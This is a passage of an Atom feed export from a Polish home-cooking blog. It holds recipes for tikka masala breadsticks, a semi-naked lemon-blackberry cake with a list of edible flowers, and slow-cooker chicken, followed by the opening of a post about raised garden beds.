Suche składniki w tym przyprawy i łyżkę nasion sezamu (na tym etapie nie dodajemy rodzynek) umieścić w dużej misce lub dzierży miksera. Dodać oliwę i 2/3 wody. Wyrobić ręcznie (10minut) lub mikserem z hakiem do wyrabiania ciasta (6 minut). Ciasto powinno być miękkie. Jeśli jest zbyt suche dodawać stopniowo dodawać pozostałą wodę. Nie jest to jednak konieczne, gdyż na wilgotność ciasta wpływ wiele czynników.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Przełożyć od lekko natłuszczonej miski i odstawić pod przykryciem do wyrośnięcia na 1-2 godziny lub do momentu aż ciasto podwoi objętość.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Gdy ciasto już wyrośnie przełóż je na oproszoną mąką kukurydzianą stolnicę lub dużą deskę. Rozwałkować na prostokąt o grubości 1 cm (kształt nie ma znaczenia) posypać rodzynkami i złożyć na pół kilka razy rozprowadzając w ten sposób rodzynki w cieście.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Następnie rozwałkować na prostokąt o wymiarach 28x20cm. Posypać pozostałym sezamem. Nasiona można docisnąć rolując ciasto wałkiem. Prostokąt pociąć nożem lub kółkiem do pizzy na paski o szerokości 1cm. Każdy z nich skręcić kilka razy wokół własnej osi &amp;nbsp;uzyskując nieco bardziej rustykalny wygląd. Położyć na blasze wyłożonej papierem do pieczenia. Przykryć do wyrośnięcia na 20-30 minut. W tym czasie rogrzać piekarnik do temperatury 200C.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Piec 10-12 minut aż będą złocisto-brązowe i chrupkie.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Przestudzić na kratce. Najlepsze tego samego dnia.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Przepis znaleziony w sieci.&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/2724649287962015908/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2017/05/chlebowe-paluchy-tikka-masala-z.html#comment-form' title='Komentarze (0)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/2724649287962015908'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/2724649287962015908'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2017/05/chlebowe-paluchy-tikka-masala-z.html' title='Chlebowe paluchy tikka masala z rodzynkami'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhW6JjwvL2Tr10oCGSVkMKvBeEtYxc-sKEXkTjNbnKengcH5mvKpSS3OOpg5bwe0XpBAnZC_eDMCtR_HFo_oa2OdaPGVCCFgAmhwQnrgLXlZ8kOHw8GiCWRyR8-Ast1QaK46uxJ83YKmbk/s72-c/34764002366_83e29297e3_h.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-6218938390484458651</id><published>2017-05-07T21:46:00.002+02:00</published><updated>2017-05-07T22:22:43.178+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Ciasta i ciasteczka"/><category scheme="http://www.blogger.com/atom/ns#" term="Przepisy"/><category scheme="http://www.blogger.com/atom/ns#" term="Techniki"/><title type='text'>Tort semi-naked z nutą cytryny i jeżynami</title><content type='html'>Przygotowuję się do pierwszego tortowego zlecenia, dlatego ostatnie tygodnie upłynęły mi pod znakiem wielu prób, doskonalenia umiejętności i szukania idealnego połączenia pod gusta zleceniodawczyni. Bardzo przejmuję się tym czy uda mi się spełnić wszystkie wymagania, a to zawsze wzbudza we mnie ogromne zaangażowanie, ekscytację i oczywiście stres. Nie opuściłam Was jednak całkowicie wrzucając na &lt;a href=&quot;http://instagram.com/odkuchni123/&quot; target=&quot;_blank&quot;&gt;Instagramie&lt;/a&gt; zdjęcia z okresu Świąt Wielkanocnych, a także ciekawych wizyt w restauracjach, które odwiedziliśmy razem z naszą rodziną. Zachęcam do obserwowania profilu, jeśli chcecie widzieć więcej niż na blogu.&lt;br /&gt;
&lt;br /&gt;
Wracając do tortowego wyzwania. Jak to w życiu nie wszystko udaje się od razu i tym sposobem zrobiłam tort na bazie biszkoptu i 3 różnych warstw musów i panna cotty z mirror glaze, który pomimo niewielkich niedoskonałości związanych z oberwaniem jednego boku pod finalną polewą okazał się numerem 1 i znikł w takim tempie, że nawet nie zdążyłam mu zrobić żadnego zdjęcia. Jeszcze do niego wrócę i na pewno pojawi się tu przepis na tę cudowną śmietankowo-brzoskwiniową rozkosz.&lt;br /&gt;
&lt;br /&gt;
Drugim w kolejności eksperymentem był tort z jeżynami. Jeśli akurat ich nie ma możecie użyć malin lub borówek. Mrożonych lub świeżych. Przy tych pierwszych należy uważać, aby nie mieszać ciasta nadmiernie, gdyż owoce zaczną puszczać sok przez co ciasto zabarwi się a po upieczeniu może być w tych miejscach szarawe, co nie będzie wyglądać zbyt atrakcyjnie. W swojej wersji użyłam mrożonych jeżyn, które znalazłam w markecie. W połączeniu z cytrynowym, wilgotnym ciastem i śmietankowo-serowym kremem z nutą wanilii otrzymałam przyjemne, wiosenne połączenie smaków. Tort nie jest ciężki, smak słodkiego kremu z nutą wanilii równoważy kwaskowate owoce, a maślane ciasto dopełnia całości. Dla mnie pycha!&lt;br /&gt;
&lt;br /&gt;
Do wykonania potrzebne będą 3 tortownice o jednakowej średnicy. Można także improwizować. Niestety sama nie mam tortownic o jednakowej średnicy w takiej ilości, dlatego użyłam 3 różnych - dwie zbliżone i jedną nieco większą. Ciasto podzieliłam na oko, aby wyszły mniej więcej równej wysokości blaty. Po upieczeniu i wystudzeniu używając dna najmniejszej tortownicy wycięłam z pozostałych blatów identyczne kształy uzyskując 3 jednakowe blaty. Dodatkowo zawsze po upieczeniu wyrównuję blaty nożem strunowym, ale warto jest już na wstępie uzyskać zbliżone grubości, by później nie marnować ściętych nadmiarów.&lt;br /&gt;
&lt;br /&gt;
A więc do dzieła!&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxm2xcr_3fS1biiVQ1PjMzJrvi9HINTXEh3KMTC3n8dpEjBUa6Si-fN37QxCvS47_F_oQJtdT19ztJTzf3mV5Wg4KDFWNF2SU2SMQLx1l0w_s6pBC6LYt8ncDG2njWwx9IzL9911SbGjE/s1600/34355076172_de653f9ec6_h.jpg&quot; /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Średnica: ~18-20cm&lt;br /&gt;
Liczba warstw: 3&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;u&gt;składniki - ciasto&lt;/u&gt;:&lt;/i&gt;&lt;br /&gt;
3 szklanki mąki&lt;br /&gt;
2 łyżeczki proszku do pieczenia&lt;br /&gt;
1/2 łyżeczki soli&lt;br /&gt;
225g masła w temperaturze pokojowej&lt;br /&gt;
2 szklanki cukru&lt;br /&gt;
4 jajka&lt;br /&gt;
2 łyżeczki ekstraktu z prawdziwej wanilii&lt;br /&gt;
1 łyżka otartej skórki z cytryny&lt;br /&gt;
3/4 szklanki mleka 3.2%&lt;br /&gt;
1/4 szklanki soku z cytryny&lt;br /&gt;
2 szklanki mrożonych lub świeżych jeżyn&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;u&gt;sposób przygotowania&lt;/u&gt;:&lt;/i&gt;&lt;br /&gt;
Piekarnik rozgrzać do 175C. Tortownice wyłożyć papierem do pieczenia, zaś boki delikatnie nasmarować masłem. Odstawić na bok.&lt;br /&gt;
Do dużej miski przesiać mąkę, proszek do pieczenia i sól. Odstawić.&lt;br /&gt;
W drugiej misce wymieszać mleko i sok z cytryny. Odstawić. Powstanie nam coś podobnego do maślanki o smaku cytrynowym :-)&lt;br /&gt;
W dzierży miksera na średnio-wysokich obrotach ucieramy masło i cukier, aż do uzyskania jasnej i puszystej masy ok. 4 minuty.&lt;br /&gt;
Zmniejszamy obroty do niskich i dodajemy stopniowo po jednym jajku. Przed dodaniem kolejnego masa powinna być dobrze zmiksowana.&lt;br /&gt;
Dodajemy ekstrakt waniliowy i skórkę z cytryny. Mieszamy do połączenia.&lt;br /&gt;
Teraz czas na suche składniki i mleko. Suche składniki dodajemy stopniowo w 3 etapach. Przed ostatnim dodajemy do ciasta mleko z sokiem. Mieszamy wszystko na niskich obrotach uważając, aby nie przebić masy. Na koniec przemieszać szpatułką dokładnie oskrobując brzegi dzierży.&lt;br /&gt;
Jeżyny oprószyć 2 dodatkowymi łyżkami mąki. Domieszać do ciasta używając delikatnie szpatułki. Tak jak pisałam wcześniej należy mieszać krótko, aby owoce nie puściły soku.&lt;br /&gt;
Gotowe ciasto podzielić do wcześniej przygotowanych tortownic. Piec 30-33 minut lub do momentu, gdy patyczek wbity w ciasto wychodzi z niego suchy. Czyli robimy standardowy test :-)&lt;br /&gt;
Upieczone blaty studzimy &amp;nbsp;w tortownicach przez 10-15 minut. Następnie wyciągamy z form i studzimy na kratce.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;img border=&quot;0&quot; src=&quot;https://c1.staticflickr.com/5/4176/34130788670_3600b31a9b_h.jpg&quot; /&gt;&lt;/div&gt;
&lt;br /&gt;
Na koniec mega szybki i prosty krem do tortu.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;u&gt;składniki - krem&lt;/u&gt;:&lt;/i&gt;&lt;br /&gt;
400 ml schłodzonej śmietany kremówki&lt;br /&gt;
500 g schłodzonego serka mascarpone&lt;br /&gt;
5 czubatych łyżek cukru pudru&lt;br /&gt;
1 łyżeczka pasty z wanilii&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;u&gt;sposób przygotowania&lt;/u&gt;:&lt;/i&gt;&lt;br /&gt;
Wszystkie składniki ubić w dzierży miksera do uzyskania gęstego puszystego kremu.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;img border=&quot;0&quot; src=&quot;https://c1.staticflickr.com/5/4185/34355608842_747f044126_h.jpg&quot; /&gt;
&lt;/div&gt;
&lt;img border=&quot;0&quot; src=&quot;https://c1.staticflickr.com/5/4181/33705479223_957762c603_h.jpg&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Sposób na nietypową dekorację tortu - semi-naked i jadalne kwiaty&lt;/h3&gt;
&lt;div&gt;
Bardzo modny w ostatnim czasie semi-naked cake. Sprawdzi się także, kiedy macie za mało kremu albo kiedy już nic innego nie uratuje naszego ciasta. Niezwykle prosty nawet dla mało wprawnych rąk styl &lt;i&gt;&lt;b&gt;semi-naked&lt;/b&gt; &lt;/i&gt;(ang. pół-nagi). Estetycznie wykonany jest elegancki i nieco rustykalny.&amp;nbsp;&lt;/div&gt;
Sztuka polega na minimalnym pokryciu boków tortu kremem tak, aby prześwitywały w nim blaty. Kremujemy tort tak samo jak w przypadku tradycyjnym. Po nałożeniu pierwszej warstwy wyrównującej chłodzę ciasto w lodówce, aby krem związał ładnie wszystkie okruszki, które mogą zepsuć efek końcowy. Ten etap kojarzy mi się trochę z zacieraniem wstępnym wszystkich niedoskonałości. To ciasto akuratnie nie kruszy się nadmiernie, więc wszystko powinno pójść gładko i sprawnie.&lt;br /&gt;
&lt;br /&gt;
Po schłodzeniu nakładam właściwą warstwę kremu wygładzając go długą szpatułką. Przykładam ją równo lecz maksymalnie blisko, aby wydobyć brzegi ciasta. Ważne jest jednak, aby same blaty były równe i nie przypalone. Wtedy mamy zapewniony ładny efekt końcowy.&lt;br /&gt;
&lt;br /&gt;
Wierzch warto ozdobić jadalnymi kwiatami najlepiej z własnej grządki (mamy wtedy pewność, że nie są pryskane). Do najpopularniejszych należą &lt;b&gt;bratki, bergamotki, fiołki. jabłoń, jaśmin, lawenda&lt;/b&gt;. Pełną listę znajdziecie w sieci, a taka dekoracja z możliwością konsumpcji z pewnością zaskoczy Waszych gości.&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;
Lista jadalnych kwiatów&lt;/h4&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
akacja (! gałązki trujące!)&lt;br /&gt;
aksamitka&lt;br /&gt;
bazylia&lt;br /&gt;
begonia&lt;br /&gt;
bergamotka&lt;br /&gt;
bez czarny (! gałązki trujące!)&lt;br /&gt;
bez lilak&lt;br /&gt;
bluszczyk kurdybanek&lt;br /&gt;
bodziszek&lt;br /&gt;
bratek&lt;br /&gt;
brzoskwinia&lt;br /&gt;
chaber&lt;br /&gt;
chryzantema&lt;br /&gt;
cukinia&lt;br /&gt;
cykoria&lt;br /&gt;
cytryna&lt;br /&gt;
czosnek&lt;br /&gt;
dynia&lt;br /&gt;
dziewanna&lt;br /&gt;
dziurawiec&lt;br /&gt;
fasola&lt;br /&gt;
fiołek&lt;br /&gt;
fiołek afrykański&lt;br /&gt;
floks&lt;br /&gt;
forsycja&lt;br /&gt;
frezja&lt;br /&gt;
fuksja&lt;br /&gt;
funkia&lt;br /&gt;
goździk&lt;br /&gt;
grusza&lt;br /&gt;
gwiazdnica&lt;br /&gt;
hibiskus&lt;br /&gt;
hyzop&lt;br /&gt;
jabłoń&lt;br /&gt;
jasnota biała&lt;br /&gt;
jaśmin&lt;br /&gt;
jeżówka&lt;br /&gt;
jeżyna&lt;br /&gt;
judaszowiec&lt;br /&gt;
kabaczek&lt;br /&gt;
karczoch&lt;br /&gt;
koniczyna&lt;br /&gt;
koper&lt;br /&gt;
krwawnik&lt;br /&gt;
lawenda&lt;br /&gt;
liliowiec (na surowo może wywołać alergię)&lt;br /&gt;
lipa&lt;br /&gt;
lucerna&lt;br /&gt;
lwia paszcza&lt;br /&gt;
magnolia&lt;br /&gt;
majeranek&lt;br /&gt;
mak&lt;br /&gt;
malina&lt;br /&gt;
malwa&lt;br /&gt;
mieczyk&lt;br /&gt;
mięta&lt;br /&gt;
miodunka&lt;br /&gt;
mniszek&lt;br /&gt;
nagietek&lt;br /&gt;
nasturcja&lt;br /&gt;
niecierpek&lt;br /&gt;
niezapominajka (lekko trująca)&lt;br /&gt;
ogórecznik&lt;br /&gt;
oregano&lt;br /&gt;
pelargonia&lt;br /&gt;
petunia&lt;br /&gt;
pierwiosnek&lt;br /&gt;
pigwa&lt;br /&gt;
piwonia&lt;br /&gt;
podbiał&lt;br /&gt;
pomarańcza&lt;br /&gt;
por&lt;br /&gt;
poziomka&lt;br /&gt;
rozmaryn&lt;br /&gt;
róża&lt;br /&gt;
rukola&lt;br /&gt;
rumianek&lt;br /&gt;
rzeżucha łąkowa&lt;br /&gt;
rzodkiewka&lt;br /&gt;
saintpaulia&lt;br /&gt;
salsefia&lt;br /&gt;
słonecznik&lt;br /&gt;
stokrotka&lt;br /&gt;
storczyk&lt;br /&gt;
surfinia&lt;br /&gt;
szałwia&lt;br /&gt;
szczawik zajęczy&lt;br /&gt;
szczypiorek&lt;br /&gt;
ślaz&lt;br /&gt;
śliwka&lt;br /&gt;
truskawka&lt;br /&gt;
tulipan (może wywołać alergię, cebulki trujące!)&lt;br /&gt;
tymianek&lt;br /&gt;
wiązówka&lt;br /&gt;
wiciokrzew japoński&lt;br /&gt;
wiesiołek&lt;br /&gt;
wisteria (! gałązki trujące!)&lt;br /&gt;
wiśnia&lt;br /&gt;
wrzos&lt;br /&gt;
wyka&lt;br /&gt;
zioła&lt;/blockquote&gt;
&lt;i&gt;Źródło listy:&amp;nbsp;http://pinkcake.blox.pl&lt;/i&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;/blockquote&gt;
</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/6218938390484458651/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2017/05/tort-semi-naked-z-nuta-cytryny-i.html#comment-form' title='Komentarze (1)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/6218938390484458651'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/6218938390484458651'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2017/05/tort-semi-naked-z-nuta-cytryny-i.html' title='Tort semi-naked z nutą cytryny i jeżynami'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxm2xcr_3fS1biiVQ1PjMzJrvi9HINTXEh3KMTC3n8dpEjBUa6Si-fN37QxCvS47_F_oQJtdT19ztJTzf3mV5Wg4KDFWNF2SU2SMQLx1l0w_s6pBC6LYt8ncDG2njWwx9IzL9911SbGjE/s72-c/34355076172_de653f9ec6_h.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-8976482974666837605</id><published>2017-04-13T18:20:00.001+02:00</published><updated>2017-04-13T18:21:09.806+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Przepisy"/><category scheme="http://www.blogger.com/atom/ns#" term="Ptactwo"/><title type='text'>Kurczak z warzywami i winem z wolnowaru</title><content type='html'>Proste, a zarazem klasyczne danie, w którym najbardziej lubię to, że proporcje nie są tak istotne. Ciągle jeszcze uczę się dobierać przepisy do tego urządzenia. Jak dotąd niestety nie przepadam za dodaniem do dania z wolnowaru surowej cebuli. Po wielu godzinach duszenia mam wrażenie, że całość dominuje charakterystyczny posmak tego warzywa. Dlatego, jeśli jest obecna w przepisie przed jej wrzuceniem do pozostały składników szklę ją na małej ilości oliwy standardowo na patelni.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwmZLwqNhyphenhyphenl6en7YGerE8UQd5xbmdzPMpz0FThm-v06qT9-l9YHcSEr2SGNozMYUDNFHG4U_GwOi9JZCDBl-Bx17TqMBXDribJR005KiOExzeQIztO_pEI3sj74GiAETKTAopfUcjhvKY/s1600/33804724752_ce2e0fb95e_h.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwmZLwqNhyphenhyphenl6en7YGerE8UQd5xbmdzPMpz0FThm-v06qT9-l9YHcSEr2SGNozMYUDNFHG4U_GwOi9JZCDBl-Bx17TqMBXDribJR005KiOExzeQIztO_pEI3sj74GiAETKTAopfUcjhvKY/s1600/33804724752_ce2e0fb95e_h.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;i&gt;&lt;u&gt;składniki:&lt;/u&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
2 ćwiartki i 2 piersi z kurczaka&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
5 marchewek, obrana i pokrojona w krążki&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
2-3 łodygi selera naciowego, pokrojony w 0.5cm plasterki&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
1 por, biała część, pokrojony w plasterki&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
kilka gałązek tymianku&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
pęczek natki pietruszki&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
1/2 szklanki białego wina lub bulionu warzywnego&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
4 łyżki masła&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
sól i pieprz&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;i&gt;&lt;u&gt;sposób przygotowania:&lt;/u&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Warzywa wyłożyć na dno wolnowaru. Pomiędzy powciskać gałązki tymianku. Mogą być też zioła prowansalskie lub gałązki rozmarynu.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Mięso natrzeć solą i pieprzem. Położyć na warstwie warzyw z tymiankiem. Podlać winem. Na wierzchu posypać mięso natką i położyć po kawałku masła.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Gotować w niskiej temperaturze przez 6-8 godzin lub w wysokiej 3-4h.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Gdy mięso jest już gotowe możemy wyjąć je i zagęścić powstały sos dodając łyżkę skrobi ziemniaczanej rozpuszczonej w niewielkiej ilości wody. Sos gotować jeszcze 5-10 minut.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;i&gt;&lt;u&gt;wskazówki:&lt;/u&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Dla złagodzenia smaku wina możemy połączyć go z bulionem albo użyć sam bulion.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Danie można modyfikować według uznania. Jest świetną bazą dla różnych wariacji.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
PS. Mięso na zdjęciu nie jest wyschnięte. To efekt dziergania go widelcem przez jednego z łasuchów w naszym domu ;-)&lt;/div&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/8976482974666837605/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2017/04/kurczak-z-warzywami-i-winem-z-wolnowaru.html#comment-form' title='Komentarze (0)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/8976482974666837605'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/8976482974666837605'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2017/04/kurczak-z-warzywami-i-winem-z-wolnowaru.html' title='Kurczak z warzywami i winem z wolnowaru'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwmZLwqNhyphenhyphenl6en7YGerE8UQd5xbmdzPMpz0FThm-v06qT9-l9YHcSEr2SGNozMYUDNFHG4U_GwOi9JZCDBl-Bx17TqMBXDribJR005KiOExzeQIztO_pEI3sj74GiAETKTAopfUcjhvKY/s72-c/33804724752_ce2e0fb95e_h.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8139664493722864274.post-7193161374633154250</id><published>2017-04-09T22:51:00.000+02:00</published><updated>2017-04-10T23:32:03.298+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Inne"/><category scheme="http://www.blogger.com/atom/ns#" term="Ogród"/><title type='text'>Podwyższone grządki po kilku latach</title><content type='html'>To już trzy lata odkąd w naszym mini ogródku pojawiły się podwyższone grządki (&lt;a href=&quot;https://aleksandraw.blogspot.com/2014/06/jak-zrobic-podwyzszone-grzadki.html&quot; target=&quot;_blank&quot;&gt;tutaj&lt;/a&gt;), a nam wydaje się, jakby to było wczoraj. Wiosna w pełni. Powoli odradzają się truskawki i zioła rozpieszczone pierwszymi słonecznymi dniami. Zieleni się oregano, które rok w rok sukcesywnie rozrasta się zabierając &quot;teren&quot; innym roślinnym lokatorom.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLMDiIweW3DGW8mlszARqoCJebfoJTayHj-Zox5uh3Jv-TitcaRGt2wuffPKBqBaBIiZNmvK4atRoRCpPN0ISqoEEevqT5sJylshxi6fESrzYJuz2gxPDAek2F4QScNN9u_-bcZPMSF0s/s1600/IMG_20170403_161226.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLMDiIweW3DGW8mlszARqoCJebfoJTayHj-Zox5uh3Jv-TitcaRGt2wuffPKBqBaBIiZNmvK4atRoRCpPN0ISqoEEevqT5sJylshxi6fESrzYJuz2gxPDAek2F4QScNN9u_-bcZPMSF0s/s1600/IMG_20170403_161226.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Nieustraszony tymianek odradza się po zimie przytulony do oregano. Często nasiewa się w kamykach na ścieżce obok grządki dowodzą tego w jak trudnych warunkach potrafi rosnąć.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://c2.staticflickr.com/4/3948/33148649923_c5d209427f_h.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://c2.staticflickr.com/4/3948/33148649923_c5d209427f_h.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
